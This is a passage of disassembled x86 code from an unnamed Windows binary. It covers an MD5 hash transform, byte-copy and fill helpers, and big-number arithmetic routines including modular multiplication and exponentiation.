		xor	ebx, ecx
		add	ebx, [ebp+var_44]
		lea	eax, [eax+ebx-3B53A99Bh]
		mov	ebx, eax
		shr	eax, 9
		shl	ebx, 17h
		or	ebx, eax
		mov	eax, edx
		add	ebx, edi
		not	eax
		or	eax, ebx
		xor	eax, edi
		add	eax, [ebp+var_4C]
		lea	ecx, [ecx+eax-0BD6DDBCh]
		mov	eax, ecx
		shl	ecx, 6
		shr	eax, 1Ah
		or	eax, ecx
		mov	ecx, edi
		not	ecx
		add	eax, ebx
		or	ecx, eax
		xor	ecx, ebx
		add	ecx, [ebp+var_30]
		lea	edx, [edx+ecx+432AFF97h]
		mov	ecx, edx
		shl	edx, 0Ah
		shr	ecx, 16h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ebx
		not	edx
		or	edx, ecx
		xor	edx, eax
		add	edx, [ebp+var_14]
		lea	edi, [edi+edx-546BDC59h]
		mov	edx, edi
		shl	edi, 0Fh
		shr	edx, 11h
		or	edx, edi
		mov	edi, eax
		not	edi
		add	edx, ecx
		or	edi, edx
		xor	edi, ecx
		add	edi, [ebp+var_38]
		lea	ebx, [ebx+edi-36C5FC7h]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		add	edi, edx
		mov	ebx, ecx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_1C]
		lea	ebx, [eax+ebx+655B59C3h]
		mov	eax, ebx
		shl	ebx, 6
		shr	eax, 1Ah
		or	eax, ebx
		add	eax, edi
		mov	ebx, edx
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_40]
		lea	ebx, [ecx+ebx-70F3336Eh]
		mov	ecx, ebx
		shl	ebx, 0Ah
		shr	ecx, 16h
		or	ecx, ebx
		add	ecx, eax
		mov	ebx, edi
		not	ebx
		or	ebx, ecx
		xor	ebx, eax
		add	ebx, [ebp+var_24]
		lea	ebx, [edx+ebx-100B83h]
		mov	edx, ebx
		shl	ebx, 0Fh
		shr	edx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, eax
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_48]
		lea	ebx, [edi+ebx-7A7BA22Fh]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		add	edi, edx
		mov	ebx, ecx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_2C]
		lea	ebx, [eax+ebx+6FA87E4Fh]
		mov	eax, ebx
		shl	ebx, 6
		shr	eax, 1Ah
		or	eax, ebx
		mov	ebx, edx
		not	ebx
		add	eax, edi
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_10]
		lea	ebx, [ecx+ebx-1D31920h]
		mov	ecx, ebx
		shl	ebx, 0Ah
		shr	ecx, 16h
		or	ecx, ebx
		mov	ebx, edi
		not	ebx
		add	ecx, eax
		or	ebx, ecx
		xor	ebx, eax
		add	ebx, [ebp+var_34]
		lea	ebx, [edx+ebx-5CFEBCECh]
		mov	edx, ebx
		shr	edx, 11h
		shl	ebx, 0Fh
		or	edx, ebx
		add	edx, ecx
		mov	ebx, eax
		not	ebx
		or	ebx, edx
		xor	ebx, ecx
		add	ebx, [ebp+var_18]
		lea	ebx, [edi+ebx+4E0811A1h]
		mov	edi, ebx
		shr	ebx, 0Bh
		shl	edi, 15h
		or	edi, ebx
		add	edi, edx
		mov	ebx, ecx
		not	ebx
		or	ebx, edi
		xor	ebx, edx
		add	ebx, [ebp+var_3C]
		lea	ebx, [eax+ebx-8AC817Eh]
		mov	eax, ebx
		shl	ebx, 6
		shr	eax, 1Ah
		or	eax, ebx
		add	eax, edi
		mov	ebx, edx
		not	ebx
		or	ebx, eax
		xor	ebx, edi
		add	ebx, [ebp+var_20]
		lea	ecx, [ecx+ebx-42C50DCBh]
		mov	ebx, ecx
		shl	ecx, 0Ah
		shr	ebx, 16h
		or	ebx, ecx
		add	ebx, eax
		mov	ecx, edi
		not	ecx
		or	ecx, ebx
		xor	ecx, eax
		add	ecx, [ebp+var_44]
		lea	edx, [edx+ecx+2AD7D2BBh]
		mov	ecx, edx
		shl	edx, 0Fh
		shr	ecx, 11h
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		or	edx, ecx
		xor	edx, ebx
		add	edx, [ebp+var_28]
		lea	edi, [edi+edx-14792C6Fh]
		mov	edx, [esi]
		add	edx, eax
		mov	eax, edi
		shl	eax, 15h
		shr	edi, 0Bh
		or	eax, edi
		add	eax, [esi+4]
		pop	edi
		add	eax, ecx
		mov	[esi+4], eax
		mov	eax, [esi+8]
		add	eax, ecx
		mov	[esi+8], eax
		mov	eax, [esi+0Ch]
		add	eax, ebx
		mov	[esi], edx
		mov	[esi+0Ch], eax
		pop	ebx
		leave
		retn
sub_41716C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179FF	proc near		; CODE XREF: sub_417107+12p
					; sub_417107+4Dp
		test	edx, edx
		jbe	short locret_417A2F
		push	esi
		lea	esi, [edx-1]
		shr	esi, 2
		inc	ecx
		add	eax, 2
		inc	esi

loc_417A0F:				; CODE XREF: sub_4179FF+2Dj
		mov	dl, [eax-2]
		mov	[ecx-1], dl
		mov	dl, [eax-1]
		mov	[ecx], dl
		mov	dl, [eax]
		mov	[ecx+1], dl
		mov	dl, [eax+1]
		mov	[ecx+2], dl
		add	eax, 4
		add	ecx, 4
		dec	esi
		jnz	short loc_417A0F
		pop	esi

locret_417A2F:				; CODE XREF: sub_4179FF+2j
		retn
sub_4179FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A30	proc near		; CODE XREF: sub_41716C+14p
		test	ecx, ecx
		jbe	short locret_417A66
		add	eax, 2
		dec	ecx
		push	esi
		shr	ecx, 2
		push	edi
		mov	esi, edx
		inc	ecx

loc_417A40:				; CODE XREF: sub_417A30+32j
		movzx	edi, byte ptr [eax-1]
		xor	edx, edx
		mov	dh, [eax+1]
		mov	dl, [eax]
		add	eax, 4
		shl	edx, 8
		or	edx, edi
		movzx	edi, byte ptr [eax-6]
		shl	edx, 8
		or	edx, edi
		mov	[esi], edx
		add	esi, 4
		dec	ecx
		jnz	short loc_417A40
		pop	edi
		pop	esi

locret_417A66:				; CODE XREF: sub_417A30+2j
		retn
sub_417A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A67	proc near		; CODE XREF: sub_41707B+3Fp
					; sub_41707B+83p
		push	esi
		mov	esi, edx
		test	esi, esi
		jbe	short loc_417A79
		sub	ecx, eax

loc_417A70:				; CODE XREF: sub_417A67+10j
		mov	dl, [ecx+eax]
		mov	[eax], dl
		inc	eax
		dec	esi
		jnz	short loc_417A70

loc_417A79:				; CODE XREF: sub_417A67+5j
		pop	esi
		retn
sub_417A67	endp


; =============== S U B	R O U T	I N E =======================================



sub_417A7B	proc near		; CODE XREF: sub_417107+59p

arg_0		= byte ptr  4

		test	ecx, ecx
		jbe	short locret_417AA3
		mov	al, [esp+arg_0]
		push	ebx
		mov	bl, al
		mov	bh, bl
		push	edi
		mov	edi, edx
		mov	edx, ecx
		shr	ecx, 2
		mov	eax, ebx
		shl	eax, 10h
		mov	ax, bx
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb
		pop	edi
		pop	ebx

locret_417AA3:				; CODE XREF: sub_417A7B+2j
		retn
sub_417A7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA4	proc near		; CODE XREF: sub_417DBA+C9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	1
		push	0
		mov	esi, eax
		push	0
		push	dword ptr [esi+4]
		call	sub_421320
		mov	ecx, [esi]
		xor	esi, esi
		push	esi
		push	[ebp+arg_4]
		add	eax, ecx
		adc	edx, esi
		push	edx
		push	eax
		call	sub_427710
		test	edx, edx
		pop	esi
		ja	short loc_417AD7
		cmp	eax, 0FFFFFFFFh
		jbe	short loc_417ADE

loc_417AD7:				; CODE XREF: sub_417AA4+2Cj
		or	eax, 0FFFFFFFFh
		and	[ebp+var_4], 0

loc_417ADE:				; CODE XREF: sub_417AA4+31j
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		leave
		retn
sub_417AA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AE5	proc near		; CODE XREF: sub_418528+36p
					; sub_419135+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		xor	edx, edx
		dec	eax
		test	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_0]
		jbe	short loc_417B33
		push	esi

loc_417AF7:				; CODE XREF: sub_417AE5+3Ej
		test	eax, eax
		jl	short loc_417B25
		xor	esi, esi
		xor	ecx, ecx

loc_417AFF:				; CODE XREF: sub_417AE5+30j
		cmp	ecx, 20h
		jnb	short loc_417B17
		mov	edi, [ebp+arg_8]
		movzx	edi, byte ptr [eax+edi]
		shl	edi, cl
		add	ecx, 8
		or	esi, edi
		dec	eax
		test	eax, eax
		jge	short loc_417AFF

loc_417B17:				; CODE XREF: sub_417AE5+1Dj
		mov	edi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	[edi+edx*4], esi
		inc	edx
		cmp	edx, ecx
		jb	short loc_417AF7

loc_417B25:				; CODE XREF: sub_417AE5+14j
		cmp	edx, ecx
		pop	esi
		jnb	short loc_417B33
		sub	ecx, edx
		lea	edi, [edi+edx*4]
		xor	eax, eax
		rep stosd

loc_417B33:				; CODE XREF: sub_417AE5+Fj
					; sub_417AE5+43j
		pop	edi
		pop	ebp
		retn
sub_417AE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417B36	proc near		; CODE XREF: sub_404D91+4Ap
					; sub_4187C5+39Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		dec	eax
		cmp	[ebp+arg_8], edi
		jbe	short loc_417B6D

loc_417B44:				; CODE XREF: sub_417B36+35j
		test	eax, eax
		jl	short loc_417B7B
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+edi*4]
		xor	ecx, ecx

loc_417B50:				; CODE XREF: sub_417B36+2Fj
		cmp	ecx, 20h
		jnb	short loc_417B67
		mov	ebx, [ebp+arg_0]
		mov	edx, esi
		shr	edx, cl
		add	ecx, 8
		mov	[eax+ebx], dl
		dec	eax
		test	eax, eax
		jge	short loc_417B50

loc_417B67:				; CODE XREF: sub_417B36+1Dj
		inc	edi
		cmp	edi, [ebp+arg_8]
		jb	short loc_417B44

loc_417B6D:				; CODE XREF: sub_417B36+Cj
		test	eax, eax
		jl	short loc_417B7B

loc_417B71:				; CODE XREF: sub_417B36+43j
		mov	ecx, [ebp+arg_0]
		mov	byte ptr [eax+ecx], 0
		dec	eax
		jns	short loc_417B71

loc_417B7B:				; CODE XREF: sub_417B36+10j
					; sub_417B36+39j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_417B36	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B80	proc near		; CODE XREF: sub_417C59+71p
					; sub_417FA5+1Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		shl	eax, 2
		push	eax
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41BC60
		add	esp, 0Ch
		retn
sub_417B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B95	proc near		; CODE XREF: sub_417BA8+7p
					; sub_417C59+1Fp ...

arg_0		= dword	ptr  4

		shl	eax, 2
		push	eax
		push	0
		push	[esp+8+arg_0]
		call	sub_41C6D0
		add	esp, 0Ch
		retn
sub_417B95	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BA8	proc near		; CODE XREF: sub_4187C5+79p
					; sub_4187C5+8Cp ...
		push	esi
		push	edi
		push	ebx
		mov	esi, eax
		mov	edi, ecx
		call	sub_417B95
		shl	esi, 5
		cmp	edi, esi
		pop	ecx
		jnb	short loc_417BCC
		xor	eax, eax
		mov	ecx, edi
		and	ecx, 1Fh
		inc	eax
		shl	eax, cl
		shr	edi, 5
		mov	[ebx+edi*4], eax

loc_417BCC:				; CODE XREF: sub_417BA8+12j
		pop	edi
		pop	esi
		retn
sub_417BA8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BCF	proc near		; CODE XREF: sub_4180F9+CAp
					; sub_418528+76p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		test	ecx, ecx
		push	edi
		mov	edi, [ebp+arg_0]
		jz	short loc_417C09
		mov	[ebp+var_4], ecx

loc_417BE3:				; CODE XREF: sub_417BCF+38j
		mov	ecx, [ebx]
		add	ecx, eax
		add	ebx, 4
		cmp	ecx, eax
		jnb	short loc_417BF2
		mov	ecx, [edx]
		jmp	short loc_417BFC
; ---------------------------------------------------------------------------

loc_417BF2:				; CODE XREF: sub_417BCF+1Dj
		mov	eax, [edx]
		add	ecx, eax
		cmp	ecx, eax
		sbb	eax, eax
		neg	eax

loc_417BFC:				; CODE XREF: sub_417BCF+21j
		mov	[edi], ecx
		add	edx, 4
		add	edi, 4
		dec	[ebp+var_4]
		jnz	short loc_417BE3

loc_417C09:				; CODE XREF: sub_417BCF+Fj
		pop	edi
		pop	ebx
		leave
		retn
sub_417BCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C0D	proc near		; CODE XREF: sub_417DBA+10Dp
					; sub_4180F9+150p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		mov	edi, eax
		xor	eax, eax
		test	ecx, ecx
		jz	short loc_417C56
		mov	[ebp+var_4], ecx
		push	ebx

loc_417C1E:				; CODE XREF: sub_417C0D+46j
		mov	ecx, [edi]
		or	ebx, 0FFFFFFFFh
		sub	ecx, eax
		sub	ebx, eax
		add	edi, 4
		cmp	ecx, ebx
		jbe	short loc_417C35
		or	ecx, 0FFFFFFFFh
		sub	ecx, [edx]
		jmp	short loc_417C44
; ---------------------------------------------------------------------------

loc_417C35:				; CODE XREF: sub_417C0D+1Fj
		mov	eax, [edx]
		or	ebx, 0FFFFFFFFh
		sub	ecx, eax
		sub	ebx, eax
		cmp	ebx, ecx
		sbb	eax, eax
		neg	eax

loc_417C44:				; CODE XREF: sub_417C0D+26j
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		add	edx, 4
		dec	[ebp+var_4]
		mov	[ebx], ecx
		jnz	short loc_417C1E
		pop	ebx

loc_417C56:				; CODE XREF: sub_417C0D+Bj
		pop	edi
		leave
		retn
sub_417C0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C59	proc near		; CODE XREF: sub_417F5D+15p
					; sub_4180F9+B0p ...

var_410		= byte ptr -410h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 410h
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	ebx, ecx
		lea	esi, [ebp+var_410]
		mov	ecx, esi
		lea	eax, [edi+edi]
		push	ecx
		mov	[ebp+var_8], eax
		call	sub_417B95
		push	ebx
		mov	eax, edi
		call	sub_418418
		push	[ebp+arg_4]
		mov	edx, eax
		mov	eax, edi
		call	sub_418418
		add	esp, 0Ch
		test	edx, edx
		mov	edi, eax
		jz	short loc_417CBD
		mov	[ebp+var_4], edx

loc_417C9D:				; CODE XREF: sub_417C59+62j
		mov	eax, [ebx]
		mov	ecx, [ebp+arg_4]
		push	eax
		push	esi
		mov	eax, edi
		mov	edx, esi
		call	sub_418427
		add	[esi+edi*4], eax
		pop	ecx
		add	ebx, 4
		add	esi, 4
		dec	[ebp+var_4]
		pop	ecx
		jnz	short loc_417C9D

loc_417CBD:				; CODE XREF: sub_417C59+3Fj
		lea	eax, [ebp+var_410]
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		call	sub_417B80
		push	408h
		lea	eax, [ebp+var_410]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417C59	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CEA	proc near		; CODE XREF: sub_417DBA+50p
					; sub_417DBA+68p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		sub	esi, [ebp+arg_0]
		mov	ebx, ecx
		mov	edi, edx
		jnz	short loc_417D06
		xor	eax, eax
		jmp	short loc_417D49
; ---------------------------------------------------------------------------

loc_417D06:				; CODE XREF: sub_417CEA+16j
		cmp	[ebp+arg_0], 0
		jz	short loc_417D35
		test	eax, eax
		jz	short loc_417D46
		mov	[ebp+var_8], eax

loc_417D13:				; CODE XREF: sub_417CEA+47j
		mov	edx, [ebx]
		mov	ecx, [ebp+arg_0]
		mov	eax, edx
		shl	eax, cl
		mov	ecx, esi
		shr	edx, cl
		add	ebx, 4
		or	eax, [ebp+var_4]
		mov	[edi], eax
		add	edi, 4
		dec	[ebp+var_8]
		mov	[ebp+var_4], edx
		jnz	short loc_417D13
		jmp	short loc_417D46
; ---------------------------------------------------------------------------

loc_417D35:				; CODE XREF: sub_417CEA+20j
		test	eax, eax
		jz	short loc_417D46

loc_417D39:				; CODE XREF: sub_417CEA+5Aj
		mov	ecx, [ebx]
		mov	[edi], ecx
		add	edi, 4
		add	ebx, 4
		dec	eax
		jnz	short loc_417D39

loc_417D46:				; CODE XREF: sub_417CEA+24j
					; sub_417CEA+49j ...
		mov	eax, [ebp+var_4]

loc_417D49:				; CODE XREF: sub_417CEA+1Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417CEA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417D4E	proc near		; CODE XREF: sub_417DBA+142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	ebx
		sub	ebx, [ebp+arg_0]
		mov	esi, ecx
		mov	edi, edx
		jnz	short loc_417D6A
		xor	eax, eax
		jmp	short loc_417DB5
; ---------------------------------------------------------------------------

loc_417D6A:				; CODE XREF: sub_417D4E+16j
		cmp	[ebp+arg_0], 0
		jz	short loc_417DA1
		test	eax, eax
		lea	esi, [esi+eax*4-4]
		lea	edi, [edi+eax*4-4]
		jz	short loc_417DB2
		mov	[ebp+var_8], eax

loc_417D7F:				; CODE XREF: sub_417D4E+4Fj
		mov	edx, [esi]
		mov	ecx, [ebp+arg_0]
		mov	eax, edx
		shr	eax, cl
		mov	ecx, ebx
		shl	edx, cl
		sub	esi, 4
		or	eax, [ebp+var_4]
		mov	[edi], eax
		sub	edi, 4
		dec	[ebp+var_8]
		mov	[ebp+var_4], edx
		jnz	short loc_417D7F
		jmp	short loc_417DB2
; ---------------------------------------------------------------------------

loc_417DA1:				; CODE XREF: sub_417D4E+20j
		test	eax, eax
		jz	short loc_417DB2

loc_417DA5:				; CODE XREF: sub_417D4E+62j
		mov	ecx, [esi]
		mov	[edi], ecx
		add	edi, 4
		add	esi, 4
		dec	eax
		jnz	short loc_417DA5

loc_417DB2:				; CODE XREF: sub_417D4E+2Cj
					; sub_417D4E+51j ...
		mov	eax, [ebp+var_4]

loc_417DB5:				; CODE XREF: sub_417D4E+1Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417D4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417DBA	proc near		; CODE XREF: sub_417F2F+17p
					; sub_4180F9+95p

var_624		= dword	ptr -624h
var_21C		= dword	ptr -21Ch
var_218		= byte ptr -218h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 624h
		mov	edx, [ebp+arg_C]
		push	ebx
		push	esi
		mov	esi, eax
		mov	eax, [ebp+arg_10]
		push	edx
		call	sub_418418
		mov	ebx, eax
		test	ebx, ebx
		pop	ecx
		jz	loc_417F2B
		push	edi
		push	dword ptr [edx+ebx*4-4]
		call	sub_418513
		push	20h
		pop	edi
		sub	edi, eax
		lea	eax, [ebp+var_624]
		push	eax
		mov	eax, ebx
		mov	[ebp+var_10], edi
		call	sub_417B95
		mov	ecx, [ebp+arg_8]
		push	edi
		mov	eax, esi
		lea	edx, [ebp+var_624]
		call	sub_417CEA
		mov	ecx, [ebp+arg_C]
		mov	[ebp+esi*4+var_624], eax
		push	edi
		mov	eax, ebx
		lea	edx, [ebp+var_218]
		call	sub_417CEA
		mov	eax, [ebp+ebx*4+var_21C]
		push	[ebp+arg_0]
		mov	[ebp+var_14], eax
		mov	eax, esi
		call	sub_417B95
		add	esp, 14h
		sub	esi, ebx
		mov	eax, esi
		js	loc_417EE5
		mov	ecx, [ebp+arg_0]
		lea	edx, [ebp+var_624]
		lea	edi, [eax+ebx]
		sub	ecx, edx
		lea	esi, [ebp+eax*4+var_624]
		inc	eax
		lea	edi, [ebp+edi*4+var_624]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], eax

loc_417E6B:				; CODE XREF: sub_417DBA+126j
		mov	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_417E7A
		mov	eax, [edi]
		mov	[ebp+var_4], eax
		jmp	short loc_417E8A
; ---------------------------------------------------------------------------

loc_417E7A:				; CODE XREF: sub_417DBA+B7j
		inc	eax
		push	eax
		lea	ecx, [ebp+var_4]
		lea	eax, [edi-4]
		push	ecx
		call	sub_417AA4
		pop	ecx
		pop	ecx

loc_417E8A:				; CODE XREF: sub_417DBA+BEj
		push	[ebp+var_4]
		mov	eax, ebx
		push	esi
		lea	ecx, [ebp+var_218]
		mov	edx, esi
		call	sub_41849C
		pop	ecx

loc_417E9E:				; CODE XREF: sub_417DBA+112j
		sub	[edi], eax
		cmp	dword ptr [edi], 0
		pop	ecx
		jnz	short loc_417EB9
		push	esi
		mov	ecx, ebx
		lea	edx, [ebp+var_218]
		call	sub_4183D3
		test	eax, eax
		pop	ecx
		jl	short loc_417ECE

loc_417EB9:				; CODE XREF: sub_417DBA+EAj
		inc	[ebp+var_4]
		push	esi
		mov	ecx, ebx
		lea	edx, [ebp+var_218]
		mov	eax, esi
		call	sub_417C0D
		jmp	short loc_417E9E
; ---------------------------------------------------------------------------

loc_417ECE:				; CODE XREF: sub_417DBA+FDj
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		mov	[ecx+esi], eax
		sub	esi, 4
		sub	edi, 4
		dec	[ebp+var_8]
		jnz	short loc_417E6B
		mov	edi, [ebp+var_10]

loc_417EE5:				; CODE XREF: sub_417DBA+88j
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_10]
		call	sub_417B95
		mov	edx, [ebp+arg_4]
		push	edi
		mov	eax, ebx
		lea	ecx, [ebp+var_624]
		call	sub_417D4E
		push	40Ch
		lea	eax, [ebp+var_624]
		push	0
		push	eax
		call	sub_41C6D0
		push	204h
		lea	eax, [ebp+var_218]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 20h
		pop	edi

loc_417F2B:				; CODE XREF: sub_417DBA+1Ej
		pop	esi
		pop	ebx
		leave
		retn
sub_417DBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_417F2F	proc near		; CODE XREF: sub_417F5D+2Bp
					; sub_4182E9+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	[esp+4+arg_C]
		mov	esi, offset dword_437CF8
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		push	esi
		call	sub_417DBA
		push	408h
		push	0
		push	esi
		call	sub_41C6D0
		add	esp, 20h
		pop	esi
		retn
sub_417F2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F5D	proc near		; CODE XREF: sub_417FA5+32p
					; sub_417FA5+4Ap ...

var_408		= byte ptr -408h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 408h
		push	[ebp+arg_4]
		lea	eax, [ebp+var_408]
		push	eax
		mov	eax, esi
		call	sub_417C59
		push	esi
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_408]
		push	ecx
		push	[ebp+arg_0]
		lea	eax, [esi+esi]
		call	sub_417F2F
		push	408h
		lea	eax, [ebp+var_408]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 24h
		leave
		retn
sub_417F5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417FA5	proc near		; CODE XREF: sub_41874F+3Bp
					; sub_419135+B3p ...

var_A18		= byte ptr -0A18h
var_814		= byte ptr -814h
var_610		= byte ptr -610h
var_40C		= byte ptr -40Ch
var_208		= dword	ptr -208h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 814h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, eax
		lea	eax, [ebp+var_814]
		push	eax
		mov	eax, esi
		call	sub_417B80
		push	[ebp+arg_10]
		lea	eax, [ebp+var_610]
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_814]
		push	eax
		call	sub_417F5D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_40C]
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_610]
		push	eax
		call	sub_417F5D
		lea	eax, [ebp+var_208]
		push	eax
		mov	eax, esi
		call	sub_417B95
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_208], 1
		call	sub_418418
		lea	edi, [eax-1]
		mov	ebx, edi
		add	esp, 28h
		test	ebx, ebx
		jl	loc_4180BA

loc_418027:				; CODE XREF: sub_417FA5+10Fj
		cmp	ebx, edi
		mov	eax, [ebp+arg_8]
		mov	eax, [eax+ebx*4]
		push	20h
		mov	[ebp+arg_C], eax
		pop	ecx
		jnz	short loc_418050
		mov	eax, 0C0000000h
		test	[ebp+arg_C], eax
		jnz	short loc_418050

loc_418041:				; CODE XREF: sub_417FA5+A5j
		shl	[ebp+arg_C], 2
		dec	ecx
		dec	ecx
		test	[ebp+arg_C], eax
		jz	short loc_418041
		test	ecx, ecx
		jbe	short loc_4180B3

loc_418050:				; CODE XREF: sub_417FA5+90j
					; sub_417FA5+9Aj
		lea	eax, [ecx-1]
		shr	eax, 1
		inc	eax
		mov	[ebp+var_4], eax

loc_418059:				; CODE XREF: sub_417FA5+10Cj
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	eax
		mov	ecx, eax
		call	sub_417F5D
		push	[ebp+arg_10]
		lea	eax, [ebp+var_208]
		push	eax
		push	eax
		mov	ecx, eax
		call	sub_417F5D
		mov	eax, [ebp+arg_C]
		add	esp, 18h
		shr	eax, 1Eh
		jz	short loc_4180AA
		push	[ebp+arg_10]
		imul	eax, 204h
		lea	eax, [ebp+eax+var_A18]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		mov	ecx, eax
		call	sub_417F5D
		add	esp, 0Ch

loc_4180AA:				; CODE XREF: sub_417FA5+E1j
		shl	[ebp+arg_C], 2
		dec	[ebp+var_4]
		jnz	short loc_418059

loc_4180B3:				; CODE XREF: sub_417FA5+A9j
		dec	ebx
		jns	loc_418027

loc_4180BA:				; CODE XREF: sub_417FA5+7Cj
		lea	eax, [ebp+var_208]
		push	eax
		push	[ebp+arg_0]
		mov	eax, esi
		call	sub_417B80
		push	60Ch
		lea	eax, [ebp+var_814]
		push	0
		push	eax
		call	sub_41C6D0
		push	204h
		lea	eax, [ebp+var_208]
		push	0
		push	eax
		call	sub_41C6D0
		add	esp, 20h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417FA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4180F9	proc near		; CODE XREF: sub_4187C5+2B4p
					; sub_4187C5+336p

var_1224	= byte ptr -1224h
var_E1C		= byte ptr -0E1Ch
var_C18		= byte ptr -0C18h
var_A14		= byte ptr -0A14h
var_810		= byte ptr -810h
var_60C		= byte ptr -60Ch
var_408		= dword	ptr -408h
var_204		= byte ptr -204h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1224h
		call	sub_41E090
		push	ebx
		push	esi
		lea	eax, [ebp+var_408]
		push	edi
		mov	esi, ecx
